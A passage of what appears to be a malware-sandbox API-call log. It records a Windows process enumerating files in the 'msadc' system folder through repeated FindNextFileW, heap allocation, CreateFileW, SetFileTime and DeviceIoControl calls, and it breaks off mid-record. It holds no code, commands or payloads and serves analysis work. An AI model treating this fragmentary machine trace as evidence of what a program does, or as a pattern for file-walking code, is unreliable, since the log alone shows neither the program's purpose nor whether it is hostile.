nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0087.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbd88 [0087.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d9d0 [0087.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.635] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.635] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c9a97c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0x22c9a97c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0x22c9a97c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0087.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbda8 [0087.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d8c0 [0087.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.637] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8dd6e4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x6f8dd6e4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x22f4823c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0087.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbdc8 [0087.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124da58 [0087.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8280) returned 0x1322698 [0087.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0087.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.639] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930aeeb4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x930aeeb4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x930d5014, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.641] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b5cb2a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0b5cb2a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f8ffe50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0087.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b9ffeb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b9ffeb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0087.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.643] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c41364, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0c41364, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f926f50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0087.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.645] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b79e8a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b79e8a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0087.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.646] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e0a3d8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0e0a3d8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fa0a020, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0087.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.647] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad9d263, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad9d263, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad9d263, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0087.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.649] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8098396, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb8098396, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b60d700, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0087.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.650] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0fd344c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0fd344c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0087.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.652] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1091b27, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb1091b27, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60936490, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0087.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.653] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ffc4e3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb9ffc4e3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0087.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.654] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d87fee9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d87fee9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d87fee9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0087.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.656] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10b7c86, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb10b7c86, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60b01450, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0087.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.657] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0087.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.658] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0087.659] GetLastError () returned 0x12 [0087.659] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.659] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.659] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.659] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6f591, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d6f591, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5525a7, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0087.659] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d956f0, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d956f0, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab636de1, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0087.659] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.660] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a920 [0087.660] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.660] NtClose (Handle=0x16c) returned 0x0 [0087.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dae0 [0087.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124db68 [0087.661] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.663] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.663] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 